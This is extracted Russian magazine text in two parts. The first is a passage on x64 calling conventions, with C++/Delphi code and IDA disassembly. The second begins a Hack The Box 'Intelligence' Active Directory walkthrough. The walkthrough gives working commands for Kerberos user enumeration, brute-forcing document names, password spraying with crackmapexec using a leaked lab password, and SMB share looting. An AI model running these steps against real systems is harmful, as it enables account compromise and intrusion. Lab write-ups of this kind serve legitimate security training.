
movss xmm0, cs:__real@40d51eb8 ; a
call MyFunc(float,double)

MyFunc воз­вра­щает вещес­твен­ный резуль­тат в  регис­тре XMM0, а  сле­дующая


инс­трук­ция из  рас­ширения SSE кон­верти­рует зна­чение оди­нар­ной точ­ности
в зна­чение двой­ной точ­ности и сох­раня­ет его в том же регис­тре.

cvtss2sd xmm0, xmm0

Да­лее про­исхо­дит пооче­ред­ное копиро­вание двух час­тей  128-бит­ного зна‐­


чения в регистр XMM1.

movaps xmm1, xmm0

Сле­дующая инс­трук­ция «ужи­мает» зна­чение со  128  бит до  64, помещая его
в соот­ветс­тву­ющий регистр.

movq rdx, xmm1

За­даем фор­мат вывода.

lea rcx, _Format ; "%f\n"


call printf
xor eax, eax
; Очистка стека
add rsp, 28h
retn
main endp

Вспо­мога­тель­ная фун­кция MyFunc:

float MyFunc(float, double) proc near


; IDA обнаружила два аргумента
arg_0 = dword ptr 8
arg_8 = qword ptr 10h
; Размещаем их в памяти:
; второй — удвоенной точности
movsd [rsp+arg_8], xmm1
; первый — одинарной точности
movss [rsp+arg_0], xmm0

Эта фун­кция кон­верти­рует зна­чение оди­нар­ной точ­ности в зна­чение двой­ной


точ­ности и сох­раня­ет его в регис­тре XMM0.

cvtss2sd xmm0, [rsp+arg_0]

Сум­миру­ем вещес­твен­ное зна­чение с  низ­кой двой­ной точ­ностью из  памяти


со  зна­чени­ем с  низ­кой двой­ной точ­ностью из  регис­тра XMM0 и  сох­раня­ем
резуль­тат на его мес­те.

addsd xmm0, [rsp+arg_8]

Здесь про­исхо­дит обратное пре­обра­зова­ние  — из  зна­чения двой­ной точ‐­


ности в зна­чение оди­нар­ной точ­ности:

cvtsd2ss xmm0, xmm0


; Возвращаем результат вызвавшей функции
retn
float MyFunc(float, double) endp

Те­перь взгля­нем на резуль­тат твор­чес­тва Embarcadero C++Builder.

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near ; DATA XREF: __acrtused+29↑o
var_14 = dword ptr -14h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
; C++Builder зачем-то добавил переменные
push rbp
sub rsp, 40h
lea rbp, [rsp+40h]
; Готовит аргументы слева направо
movss xmm0, cs:dword_44D000 ; float
movsd xmm1, cs:qword_44D010 ; double
; Сохраняет значения в стеке
mov [rbp+var_4], 0
mov [rbp+var_8], ecx
mov [rbp+var_10], rdx
call MyFunc(float,double)
; После получения результата преобразует его к одинарной
точности
cvtss2sd xmm0, xmm0
; Форматная строка
lea rcx, unk_44D020
; Копирование и подготовка числа к выводу
movaps xmm1, xmm0
movq rdx, xmm0
call printf
mov [rbp+var_4], 0
mov [rbp+var_14], eax
mov eax, [rbp+var_4]
add rsp, 40h
pop rbp
retn
main endp
; __int64 __fastcall MyFunc(float, double)
public MyFunc(float, double)
MyFunc(float, double) proc near ; CODE XREF: main+28↓p
var_14 = dword ptr -14h
var_10 = qword ptr -10h
var_4 = dword ptr -4

Весь­ма стран­но здесь повела себя IDA, не  рас­познав ни  одно­го аргу­мен­та,
но зато объ­явив три перемен­ные.

push rbp
sub rsp, 18h
lea rbp, [rsp+10h]

Та­ким же обра­зом, как  в прош­лый раз, толь­ко в  обратном поряд­ке (сле­ва


нап­раво), прог­рамма ски­дыва­ет аргу­мен­ты из регис­тров в память.

movss [rbp+8+var_4], xmm0


movsd [rbp+8+var_10], xmm1
cvtss2sd xmm0, [rbp+8+var_4] ; Преобразовывает — с этим мы уже
сталкивались
addsd xmm0, [rbp+8+var_10] ; Складывает
cvtsd2ss xmm0, xmm0 ; Вновь преобразовывает
movss [rbp+8+var_14], xmm0 ; Лишние телодвижения...
movss xmm0, [rbp+8+var_14] ; ...
add rsp, 18h
pop rbp
retn
MyFunc(float, double) endp

Этот лис­тинг мало чем отли­чает­ся от пре­дыду­щего, раз­ве что наг­ромож­дени‐­


ем избы­точ­ного кода, чем зна­менит ком­пилятор от Embarcadero.
Приш­ло вре­мя вспом­нить о  при­ложе­нии DataSize, выводя­щем раз­меры
типов дан­ных в битах ком­пилято­ра Visual C++ 2019 на плат­форме x64 в опе‐­
раци­онной сис­теме Windows 10. На моем компь­юте­ре вывод выг­лядит так.

Раз­меры типов дан­ных язы­ка C++

Ти­пы язы­ков C/C++ вследс­твие их машино­ориен­тирован­ности сов­пада­ют


с типами про­цес­сора. В дан­ном слу­чае нас инте­ресу­ют вещес­твен­ные типы:
float (4 бай­та = 32/8), double (8 байт = 64/8).
Ти­пы дан­ных Delphi унас­ледова­ны от  Turbo Pascal. В  этой сис­теме
основной вещес­твен­ный тип дан­ных  — Real. Рань­ше он занимал  6  байт, что
про­тиво­естес­твен­но для машины, поэто­му он каж­дый раз пре­обра­зовы­вал­ся
в  тип Extended, который занимал  8  байт (и был подобен типу double
из C/C++). Эти пре­обра­зова­ния съеда­ли льви­ную долю про­изво­дитель­нос­ти.
Тем не менее сов­ремен­ный Delphi уже не стра­дает дет­ски­ми болез­нями:
• Real соот­ветс­тву­ет Double (8 байт);
• Real48 вве­ден для обратной сов­мести­мос­ти со ста­рым Real (6 байт);
• Single — Float (4 бай­та);
• Extended на 32-бит­ной Windows — 10 байт;
• Extended на 64-бит­ной Windows — 8 байт;
• Extended на 64-бит­ной Linux — 16 байт;
• Extended на 64-бит­ной macOS (Intel based) — 16 байт.

Вид­но, что раз­работ­чики заморо­чились и  «широкий» тип дан­ных стал дей‐­


стви­тель­но широким.
Ра­зоб­равшись с  типами дан­ных в  Delphi, рас­смот­рим при­мер переда­чи
парамет­ра в при­ложе­нии, написан­ном с помощью этой сре­ды раз­работ­ки.

Delphi 10.4 Community Edition

program send_real_value_delphi;

{$APPTYPE CONSOLE} // Консольное приложение

{$R *.res}

uses
System.SysUtils, Math; // Используем математическую библиотеку

procedure MyProc(a : Real);


begin
WriteLn(FloatToStr(RoundTo(a,-2)));
end;

var
a: Real;
b: Real;
begin
a := 6.66;
b := 7.77;

MyProc(a + b);
end.

Продолжение статьи

ВЗЛОМ ←
НАЧАЛО СТАТЬИ

ФУНДАМЕНТАЛЬНЫЕ
ОСНОВЫ ХАКЕРСТВА СОГЛАШЕНИЕ О БЫСТРЫХ ВЫЗОВАХ —
FASTCALL

А теперь откомпи­лиру­ем дебаж­ную вер­сию при­ложе­ния под x64 с отклю­чен‐­


ной опти­миза­цией.

Вы­вод прог­раммы

Изу­чим дизас­сем­блер­ный лис­тинг.

IDA View

IDA сра­зу же откры­вает­ся на фун­кции ини­циали­зации. Пос­ле ини­циали­зации


сте­ка в  регистр RAX помеща­ется флаг «кон­соль­ного при­ложе­ния». Сле‐­
дующей строч­кой он перево­дит­ся в активное положе­ние.

_ZN22Send_real_value_delphi14initializationEv proc near


push rbp
sub rsp, 20h
mov rbp, rsp
mov rax, cs:off_432480
mov byte ptr [rax], 1
nop
lea rcx, qword_429460

За­тем в  регистр RCX помеща­ется ука­затель на  зна­чение 0x13  — оче­вид­но,


для переда­чи сле­дующей фун­кции в качес­тве парамет­ра. Далее эта фун­кция
и вызыва­ется в целях ини­циали­зации сис­темно­го модуля при­ложе­ния. Таким
обра­зом нас­тра­ивает­ся спо­соб­ность при­нимать сис­темные события и  отве‐­
чать на них:

call _ZN7Sysinit8_InitExeEPv
; В регистр RAX помещаем первое вещественное значение
mov rax, 401AA3D70A3D70A4h
; Перемещаем его в локальную переменную a
mov cs:_ZN22Send_real_value_delphi1aE, rax
; В регистр RAX помещаем второе вещественное значение
mov rax, 401F147AE147AE14h
; Перемещаем его в локальную переменную b
mov cs:_ZN22Send_real_value_delphi1bE, rax
; Значение удвоенной точности из переменной a копируем в регистр XMM0
movsd xmm0, cs:_ZN22Send_real_value_delphi1aE

К содер­жимому регис­тра XMM0 при­бав­ляет­ся зна­чение перемен­ной двой­ной


точ­ности b. Этот регистр будет передан вызыва­емой фун­кции MyProc в качес‐­
тве парамет­ра по усло­вию fastcall.

addsd xmm0, cs:_ZN22Send_real_value_delphi1bE


; Происходит вызов функции MyProc с передачей параметра
call _ZN22Send_real_value_delphi6MyProcEd

Сле­дующая фун­кция завер­шает про­цес­сы, осво­бож­дает память и тем самым


завер­шает прог­рамму.

call _ZN6System6_Halt0Ev

Ес­ли при­ложе­ние завер­шилось успешно, выпол­няет­ся безус­ловный переход


на мет­ку:

jmp short loc_429445


; ---------------------------------------------------------------
db 2 dup(90h)
; ---------------------------------------------------------------

При сис­темном сбое про­исхо­дит обра­щение к  нижес­леду­ющей фун­кции,


которая вытал­кива­ет ошиб­ку на  вер­хний уро­вень, что­бы показать ее поль‐­
зовате­лю.

call _ZN6System19_UnhandledExceptionEv
; ---------------------------------------------------------------
db 90h
; ---------------------------------------------------------------
loc_429445: ; Метка, где находится эпилог функции
lea rsp, [rbp+20h]
pop rbp
retn
; } // Starts at 4293E0
_ZN22Send_real_value_delphi14initializationEv endp

Рас­смот­рим дизас­сем­блер­ный лис­тинг вто­рой нашей фун­кции  — MyProc.


Она обе­щает быть инте­рес­ной: в  ней исполь­зует­ся не  толь­ко WriteLn
для вывода тек­ста на кон­соль, но и фун­кция пре­обра­зова­ния вещес­твен­ного
чис­ла в  стро­ку  — FloatToStr, а  так­же фун­кция округле­ния до  ука­зан­ного
количес­тва цифр пос­ле десятич­ной запятой — RoundTo.

_ZN22Send_real_value_delphi6MyProcEd proc near

IDA вер­но рас­позна­ла один аргу­мент. Кро­ме того, здесь объ­явля­ются две
перемен­ные.

var_s20 = qword ptr 20h


var_s28 = qword ptr 28h
arg_0 = qword ptr 40h
push rbp
; Инициализируем стек
sub rsp, 30h
mov rbp, rsp
; Открываем кадр стека
mov [rbp+var_s20], 0
; Помещаем аргумент из регистра в ячейку памяти
movsd [rbp+arg_0], xmm0
nop
movsd xmm0, [rbp+arg_0]
mov dl, 0FEh ; 'þ'

Вы­зов фун­кции округле­ния вещес­твен­ного чис­ла до  ука­зан­ного количес­тва


цифр пос­ле десятич­ной запятой выг­лядит так:

call _ZN6System4Math7RoundToEea

Пос­ле выпол­нения фун­кции округле­ния резуль­тат воз­вра­щает­ся в  регис­тре


XMM0. Сле­дующая инс­трук­ция копиру­ет зна­чение в  перемен­ную var_s28,
отку­да оно перено­сит­ся в регистр XMM1.

movsd [rbp+var_s28], xmm0


lea rcx, [rbp+var_s20] ; Теперь RCX указывает на 0
movsd xmm1, [rbp+var_s28]
; Подготовка форматных настроек
mov r8, cs:off_432490
; Вызов FloatToStr
call _ZN6System8Sysutils10FloatToStrEeRKNS0_15TFormatSettingsE

Воз­можное отоб­ражение исклю­читель­ной ситу­ации, если все пой­дет не  так,


как надо:

mov rcx, cs:off_4322A0


; RDX теперь указывает на 0
mov rdx, [rbp+var_s20]

Под­готав­лива­ем и выводим текст в кон­соль:

call _ZN6System14_Write0UStringERNS_8TTextRecENS_13UnicodeStringE
mov rcx, rax
call _ZN6System8_WriteLnERNS_8TTextRecE ; WriteLn
call _ZN6System8__IOTestEv
nop
lea rcx, [rbp+var_s20]
call _ZN6System8_UStrClrEPv
lea rsp, [rbp+30h]
pop rbp
retn
_ZN22Send_real_value_delphi6MyProcEd endp

Ка­залось бы, с типами дан­ных уже дав­но все понят­но, но даже здесь у Delphi
есть скры­тый при­ем, на  котором по  недос­мотру мож­но зап­росто шею свер‐­
нуть! Будь вни­мате­лен.

СОГЛАШЕНИЕ О ВЫЗОВАХ ФУНКЦИЙ __THISCALL


В прог­раммах на  C++ каж­дая фун­кция объ­екта (она называ­ется методом)
неяв­но при­нима­ет аргу­мент this — ука­затель на экзем­пляр клас­са (дру­гими
сло­вами, объ­екта), из  которо­го вызыва­ется метод. Ког­да исполь­зует­ся сог‐­
лашение __this на  плат­форме x86, любые дру­гие аргу­мен­ты переда­ются
через стек, в то же вре­мя ука­затель this — через регистр ECX.
На плат­форме x64, как мы зна­ем, есть толь­ко одно сог­лашение о вызовах
фун­кций — fastcall. Отсю­да сле­дует, что все явные, а так­же неяв­ный аргу­мент
this переда­ются в регис­трах. This всег­да переда­ется в самом пер­вом под‐­
ходящем регис­тре RCX.
Рас­смот­рим сле­дующий прос­той при­мер. В нем объ­явлен класс, где опи‐­
саны четыре метода, которые выводят в кон­соль получа­емые парамет­ры.

Вы­вод при­ложе­ния thiscall

#include <iostream>

class MyClass
{
public:
// Прототип demo_1 в действительности выглядит так: demo_1(this,
int a);
void demo_1(int a)
{
std::cout << "demo_1" << ": " << a << std::endl;
}
// Прототип demo_2 в действительности выглядит так: demo_2(this,
int a, int b);
void demo_2(int a, int b)
{
std::cout << "demo_2" << ": " << a << ", " << b << std::endl;
}
// Прототип demo_3 в действительности выглядит так: demo_3(this,
int a, int b, int c);
void demo_3(int a, int b, int c)
{
std::cout << "demo_3" << ": " << a << ", " << b << ", " << c <<
std::endl;
}
// Прототип demo_4 в действительности выглядит так: demo_4(this,
int a, int b, int c,
// int d);
void demo_4(int a, int b, int c, int d)
{
std::cout << "demo_4" << ": " << a << ", " << b << ", " << c <<
", " << d << std::endl;
}
};

int main()
{
MyClass* zzz = new MyClass();

zzz->demo_1(0);
zzz->demo_2(1,2);
zzz->demo_3(3,4,5);
zzz->demo_4(6,7,8,9);

delete zzz;

return 0;
}

Ре­зуль­тат ком­пиляции это­го при­мера ком­пилято­ром Microsoft Visual C++


2019  дол­жен выг­лядеть так (показа­на лишь фун­кция main, все осталь­ное
не пред­став­ляет на дан­ный момент никако­го инте­реса):

; int __cdecl main(int argc, const char **argv, const char **envp)
main proc near
d = dword ptr -48h
var_38 = qword ptr -38h
var_30 = qword ptr -30h
var_28 = qword ptr -28h
block = qword ptr -20h
var_18 = qword ptr -18h
sub rsp, 68h
; Выделяем 1 байт для экземпляра класса
mov ecx, 1 ; size
; Вызываем конструктор
call operator new(unsigned __int64)
mov [rsp+68h+var_30], rax
; Переменная var_30 — указатель на объект
; Но если же она равна нулю...
cmp [rsp+68h+var_30], 0
; Делаем прыжок на метку
jz short loc_140001257
; Продолжаем нормальное выполнение — в var_30 указатель на объект
mov rax, [rsp+68h+var_30]
; В var_28 указатель на объект
mov [rsp+68h+var_28], rax
; Безусловный переход
jmp short loc_140001260
; ---------------------------------------------------------------
loc_140001257: ; CODE XREF: main+19↑j
mov [rsp+68h+var_28], 0
loc_140001260: ; CODE XREF: main+25↑j
mov rax, [rsp+68h+var_28]
; В var_38 указатель на объект
mov [rsp+68h+var_38], rax
; Начинается подготовка регистров для передачи аргументов: справа
налево
; Весьма интересный способ обнуления значения: с помощью инструкции
xor
xor edx, edx ; a
; В RCX помещается указатель на объект
mov rcx, [rsp+68h+var_38] ; this
; Вызов метода
call MyClass::demo_1(int)
; После возвращения сразу готовятся новые аргументы: два явных и
один неявный
mov r8d, 2 ; b
mov edx, 1 ; a
mov rcx, [rsp+68h+var_38] ; this
call MyClass::demo_2(int,int)
; Три явных и один неявный — все помещаются в целочисленные регистры
mov r9d, 5 ; c
mov r8d, 4 ; b
mov edx, 3 ; a
mov rcx, [rsp+68h+var_38] ; this
call MyClass::demo_3(int,int,int)
; Четыре явных аргумента и один неявный, не хватает регистров!
; Самый правый аргумент — d помещается в стек
mov [rsp+68h+d], 9 ; d
mov r9d, 8 ; c
mov r8d, 7 ; b
mov edx, 6 ; a
mov rcx, [rsp+68h+var_38] ; this
call MyClass::demo_4(int,int,int,int)
mov rax, [rsp+68h+var_38]
mov [rsp+68h+block], rax
mov edx, 1 ; __formal
mov rcx, [rsp+68h+block] ; block
; Вызов деструктора
call operator delete(void *,unsigned __int64)
cmp [rsp+68h+block], 0
jnz short loc_1400012F5
mov [rsp+68h+var_18], 0
jmp short loc_140001308
; ---------------------------------------------------------------
loc_1400012F5: ; CODE XREF: main+B8↑j
mov [rsp+68h+var_38], 8123h
mov rax, [rsp+68h+var_38]
mov [rsp+68h+var_18], rax
loc_140001308: ; CODE XREF: main+C3↑j
xor eax, eax
add rsp, 68h
retn
main endp

ПАРАМЕТРЫ ПО УМОЛЧАНИЮ
Что­бы про­ще было вызывать фун­кции с «хорово­дом» парамет­ров, в язык C++
вве­ли воз­можность задать парамет­ры по умол­чанию. Отсю­да воз­ника­ет воп‐­
рос: отли­чает­ся ли чем‑нибудь вызов фун­кций с парамет­рами по умол­чанию
от  обыч­ных фун­кций? И  кто ини­циали­зиру­ет опу­щен­ные парамет­ры  —
вызыва­емая или вызыва­ющая фун­кция?
Так вот, при  вызове фун­кций с  парамет­рами по  умол­чанию ком­пилятор
самос­тоятель­но добав­ляет недос­тающие парамет­ры, а вызов такой фун­кции
ничем не отли­чает­ся от вызова обыч­ных фун­кций.
До­кажем это на сле­дующем при­мере:

#include <iostream>

void MyFunc(int a = 1, int b = 2, int c = 3)


{
std::cout << a << ", " << b << ", " << c << std::endl;
}

int main()
{
MyFunc();
}

Ре­зуль­тат его ком­пиляции в Visual C++ 2019 будет выг­лядеть приб­лизитель­но


так (для эко­номии мес­та показа­на толь­ко вызыва­ющая фун­кция):

; int __cdecl main(int argc, const char **argv, const char **envp)
main proc near
sub rsp, 28h
mov r8d, 3 ; c
mov edx, 2 ; b
mov ecx, 1 ; a

Как вид­но, все парамет­ры, задан­ные по умол­чанию, были переда­ны фун­кции


самим ком­пилято­ром.

call MyFunc(int,int,int)
xor eax, eax
add rsp, 28h
retn
main endp

ТЕХНИКА ИССЛЕДОВАНИЯ МЕХАНИЗМА ПЕРЕДАЧИ ПАРАМЕТРОВ


НЕИЗВЕСТНЫМ КОМПИЛЯТОРОМ
Ком­пилято­ров сей­час огромное мно­гооб­разие, и  пос­тоян­но появ­ляют­ся
новые, так что при­вес­ти все­охва­тыва­ющую таб­лицу, которая бы рас­писыва­ла
харак­тер каж­дого из  них, невоз­можно. Как  же быть, если тебе попада­ется
прог­рамма, откомпи­лиро­ван­ная каким‑то неиз­вес­тным ком­пилято­ром?
Ес­ли ком­пилятор удас­тся опоз­нать (нап­ример, с помощью IDA или по тек‐­
сто­вым стро­кам, содер­жащим­ся в  фай­ле), оста­ется толь­ко раз­добыть его
экзем­пляр и  прог­нать через него серию тес­товых при­меров с  переда­чей
«подопыт­ной» фун­кции парамет­ров раз­лично­го типа. Нелиш­не изу­чить при‐­
лага­емую к ком­пилято­ру докумен­тацию — воз­можно, там будут хотя бы крат­ко
опи­саны все под­держи­ваемые им механиз­мы переда­чи парамет­ров.
Ху­же, ког­да ком­пилятор не опоз­нает­ся или дос­тать его копию нет никакой
воз­можнос­ти. Тог­да при­дет­ся кро­пот­ливо и  тща­тель­но иссле­довать вза­имо‐­
дей­ствие вызыва­емой и вызыва­ющей фун­кций.
ВЗЛОМ

HTB
INTELLIGENCE

ПЕНТЕСТИМ ACTIVE DIRECTORY
ОТ MSA ДО KDC

Се­год­ня мы с  тобой попен­тестим веб‑сер‐­


вер на  Windows: научим­ся манипу­лиро­вать
DNS, орга­низу­ем утеч­ку хеша NTLM,
получим учет­ные дан­ные управля­емых
записей AD и про­экс­плу­ати­руем огра­ничен‐­ RalfHacker
hackerralf8@gmail.com
ное делеги­рова­ние Kerberos, что­бы
повысить при­виле­гии. Это  поз­волит нам
прой­ти машину Intelligence с пло­щад­ки Hack
The Box.

WARNING
Под­клю­чать­ся к  машинам с  HTB рекомен­дует­ся
толь­ко через VPN. Не делай это­го с компь­юте­ров,
где есть важ­ные для тебя дан­ные, так как ты ока‐­
жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА
Сканирование портов
До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.10.248 intelligence.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов


Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз‐­
воля­ет ата­кующе­му узнать, какие служ­бы на  хос­те при­нима­ют соеди­нение.
На  осно­ве этой информа­ции выбира­ется сле­дующий шаг к  получе­нию точ­ки
вхо­да.
На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить
резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в  два эта­па. На  пер­вом про­изво­дит­ся обыч­ное быс­трое ска‐­


ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем
име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ре­зуль­тат работы скрип­та (про­дол­жение)

Ви­дим мно­жес­тво откры­тых пор­тов, что для Windows впол­не харак­терно:


• порт  53  — служ­ба DNS. Порт учас­тву­ет в  трас­товых отно­шени­ях меж­ду
домена­ми;
• порт 80 (HTTP) — веб‑сер­вер Microsoft IIS/10.0;
• порт  88  — служ­ба Kerberos. Так­же исполь­зует­ся в  довери­тель­ных отно‐­
шени­ях меж­ду лесами;
• порт 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC). Исполь‐­
зует­ся для  опе­раций вза­имо­дей­ствия кон­трол­лер  — кон­трол­лер и  кон‐­
трол­лер — кли­ент;
• порт 139 — служ­ба сеан­сов NetBIOS, NetLogon;
• порт 389 — служ­ба LDAP;
• порт 445 — служ­ба SMB;
• порт 464 — служ­ба сме­ны пароля Kerberos;
• порт  593 (HTTP-RPC-EPMAP)  — исполь­зует­ся в  служ­бах DCOM и  MS
Exchange;
• порт 636 — LDAP с шиф­ровани­ем SSL или TLS;
• порт 3268 (LDAP) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру;
• порт  3269 (LDAPS)  — для  дос­тупа к  Global Catalog от  кли­ента к  кон­трол‐­
леру через защищен­ное соеди­нение;
• порт 5985 — отве­чает за служ­бу уда­лен­ного управле­ния WinRM;
• порт 9389 — веб‑служ­бы AD DS.

Еще в  сер­тифика­те LDAP находим новое домен­ное имя dc.intelligence.


htb, поэто­му обно­вим запись в фай­ле /etc/hosts:

10.10.10.248 intelligence.htb dc.intelligence.htb

Пер­вым делом запус­тим скрип­ты Nmap для  получе­ния информа­ции с  DNS


(nmap -p53 --script=dns* intelligence.htb), но из это­го ничего не выш‐­
ло. Авто­ризо­вать­ся как  ано­ним в  SMB и  LDAP не  получи­лось. Поэто­му нам
нуж­но про­бивать веб.
Вни­матель­но осмотрим­ся на  сай­те и  поищем цен­ную инфу. Сам сайт
на  пер­вый взгляд кажет­ся прос­тень­ким. Из  инте­рес­ного  — на  пер­вой стра‐­
нице находим два PDF-докумен­та.

Стар­товая стра­ница сай­та

OSINT
В докумен­тах ничего важ­ного не обна­ружи­лось. Но из любого кур­са по OSINT
(раз­ведка на  осно­ве откры­тых источни­ков) ты узна­ешь, что в  докумен­тах
самое инте­рес­ное — это метадан­ные, осо­бен­но атри­буты вро­де «соз­датель»
или «вла­делец». Они могут рас­кры­вать име­на поль­зовате­лей, которые потом
мож­но исполь­зовать для дос­тупа к учет­кам.
Для получе­ния мета­информа­ции мож­но исполь­зовать exiftool. Что­бы
уста­новить и исполь­зовать ее, пишем:

sudo apt install exiftool

exiftool *

По­луче­ние мета­информа­ции из докумен­тов

ТОЧКА ВХОДА
Перечисление аккаунтов
Мы наш­ли два име­ни, а зна­чит, можем поис­кать акка­унты через аутен­тифика‐­
цию Kerberos. Дело в том, что Kerberos нам сооб­щит, если поль­зовате­ля нет
в базе. Нуж­но лишь сфор­мировать все воз­можные наз­вания акка­унтов и про‐­
сеивать их. К при­меру, для пары name surname мож­но сос­тавить такие име­на:

Administrator

Guest

name

namesurname

name.surname

names

name.s

sname

s.name

surname

surnamename

surname.name

surnamen

surname.n

nsurname

n.surname

Что­бы сос­тавлять юзер­ней­мы по  такому шаб­лону, исполь­зуем сле­дующий


скрипт на Python:

#!/usr/bin/python3

names = ["Jose Williams", "William Lee"]


list = ["Administrator", "Guest"]

for name in names:


n1, n2 = name.split(' ')
for x in [
n1, n1 + n2, n1 + "." + n2, n1 + n2[0], n1 + "." + n2[0],
n2[0] + n1, n2[0] + "." + n1,
n2, n2 + n1, n2 + "." + n1, n2 + n1[0], n2 + "." + n1[0],
n1[0] + n2, n1[0] + "." + n2
]:
list.append(x)

for n in list:
print(n)

А теперь исполь­зуем kerbrute для перебо­ра имен. Ука­зыва­ем опцию перечис‐­


ления поль­зовате­лей и переда­ем их спи­сок.

./kerbrute_linux_amd64 userenum --dc intelligence.htb -d


intelligence.htb namelist.txt

Най­ден­ные поль­зовате­ли

Име­на поль­зовате­лей, ука­зан­ные в докумен­тах, и ока­зались наз­вани­ями акка‐­


унтов. Даль­ше, что  бы я ни  поп­робовал (даже брут паролей), никуда прод‐­
винуть­ся не выш­ло. Видимо, что‑то упус­тили на сай­те.
Воз­вра­щаем­ся к  вебу, на  этот раз воору­жив­шись Burp Suite. Бла­года­ря
Burp Proxy обра­щаем вни­мание на мес­то хра­нения фай­лов и их наз­вания.

Вклад­ка Burp Proxy

Име­на фай­лов  — это  даты, а  зна­чит, мы можем попытать­ся най­ти и  дру­гие


докумен­ты. Для  это­го отправ­ляем зап­рос в  Burp Intruder, что­бы переб­рать
и номер месяца, и день.

Burp Intruder — вклад­ка Position

Burp Intruder — вклад­ка Payload (payload 1)

Burp Intruder — вклад­ка Payload (payload 2)

Сор­тиру­ем резуль­тат по  коду отве­та, что­бы най­ти докумен­ты сре­ди сооб‐­
щений об ошиб­ках.

Ре­зуль­тат ата­ки

Ос­талось их ска­чать. Сна­чала сох­раним нуж­ные нам наг­рузки средс­тва­ми


Burp. Для это­го отме­тим в филь­тре, что нас инте­ресу­ет толь­ко код отве­та 200,
а затем выбира­ем Save → Results table.

Сох­ранение наг­рузок в файл

Пос­тавим в  качес­тве раз­делите­ля про­бел и  выберем толь­ко две наг­рузки. Я


сох­ранил наг­рузки в файл save.txt, а потом ска­чал все эти докумен­ты через
wget.

Продолжение статьи

ВЗЛОМ ←
НАЧАЛО СТАТЬИ

HTB INTELLIGENCE
ПЕНТЕСТИМ ACTIVE DIRECTORY ОТ MSA
ДО KDC

ТОЧКА ОПОРЫ
Для пар­синга фай­ла save.txt и запус­ка wget будем исполь­зовать awk.

awk '{print "wget http://intelligence.htb/documents/


2020-"$1"-"$2"-upload.pdf -O ./docs/2020-"$1"-"$2"-upload.pdf"}'
save.txt | /bin/bash -i

А пос­ле заг­рузки докумен­тов получим всех поль­зовате­лей (84 поль­зовате­ля)


и про­верим их сущес­тво­вание в сис­теме.

exiftool ./docs/* | grep "Creator" | awk '{print $3}' > users.txt

./kerbrute_linux_amd64 userenum --dc intelligence.htb -d


intelligence.htb users.txt

Про­вер­ка сущес­тво­вания акка­унтов

В ито­ге все поль­зовате­ли есть в  сис­теме. Я сно­ва попытал­ся их бру­тить,


но ничего не выш­ло. Может, в докумен­тах есть важ­ная информа­ция?

Парсинг текста из PDF


Для про­вер­ки боль­шого количес­тва докумен­тов удоб­но исполь­зовать Python
и биб­лиоте­ку pdfminer. Уста­новить ее мож­но через pip:

pip3 install pdfminer

pip3 install pdfminer.six

Бу­дем искать в тек­сте каж­дого докумен­та важ­ные подс­тро­ки: user, username,


login, pass, password, passphere, secret.

#!/usr/bin/python3

from pdfminer.high_level import extract_text


from os import listdir

words = ['user','username','login','pass','password', 'passphere',


'secret']
files = listdir("./docs")

for filename in files:


text = extract_text("./docs/"+filename)
for word in words:
if word in text:
print("File: " + filename + " ============")
print(text)
break

Со­дер­жимое най­ден­ного докумен­та PDF

В резуль­тате работы скрип­та мы получим содер­жимое одно­го докумен­та,


в котором есть сло­ва username и password, а так­же сам пароль.

Атака Password Spraying


Мы име­ем  85  поль­зовате­лей и  один пароль, поэто­му нам нуж­но переб­рать
этот пароль по  всем поль­зовате­лям (тех­ника Password Spraying). Для  бру­та
возь­мем уже очень зна­мени­тый мощ­ный инс­тру­мент  — CrackMapExec.
В  парамет­рах прог­раммы, помимо адре­са хос­та, ука­зыва­ем про­токол SMB,
сло­варь с име­нами поль­зовате­лей и извес­тный пароль.

crackmapexec smb intelligence.htb -u users.txt -p


NewIntelligenceCorpUser9876

Ре­зуль­тат перебо­ра пароля

Ав­торизо­вать­ся по  WinRM не  получи­лось, поэто­му прос­мотрим дос­тупные


ресур­сы SMB.

smbmap -H 10.10.10.248 -u Tiffany.Molina -p


NewIntelligenceCorpUser9876

Дос­тупные общие ресур­сы

Те­перь нам ста­ли дос­тупны для чте­ния дирек­тории Users и  IT. Сно­ва рекур‐­
сивно выводим все содер­жимое ресур­са, где и находим флаг поль­зовате­ля,
а так­же какой‑то скрипт на PowerShell.

smbmap -H 10.10.10.248 -u Tiffany.Molina -p


NewIntelligenceCorpUser9876 -R

Со­дер­жимое рабоче­го сто­ла поль­зовате­ля

Со­дер­жимое ресур­са IT

smbclient //intelligence.htb/Users -U 'Tiffany.Molina'


cd Tiffany.Molina\Desktop\
get user.txt

Флаг поль­зовате­ля

ПРОДВИЖЕНИЕ
Мы наш­ли еще один инте­рес­ный файл — скрипт на PowerShell. Ска­чива­ем его
и смот­рим, что внут­ри.

smbclient //intelligence.htb/IT -U 'Tiffany.Molina'


get downdetector.ps1

Заг­рузка фай­ла

Со­дер­жимое ска­чан­ного скрип­та

Этот скрипт каж­дые пять минут зап­рашива­ет все DNS-записи домена


intelligence.htb, которые начина­ются с  пос­ледова­тель­нос­ти web. Затем
выпол­няют­ся HTTP-зап­росы с  исполь­зовани­ем каких‑то учет­ных дан­ных
(параметр -UseDefaultCredentials). Если сер­вер недос­тупен, то отправ‐
ляет­ся сооб­щение на элек­трон­ную поч­ту поль­зовате­ля TED.GRAVES. Видимо,
его учет­ные дан­ные и  исполь­зуют­ся для  дос­тупа к  сер­верам с  прис­тавкой
web.

Утечка NTLM-хеша
Ес­ли мы смо­жем соз­дать свою запись DNS, то зап­рос будет идти на наш хост.
Это  поз­волит нам получить учет­ные дан­ные целево­го поль­зовате­ля
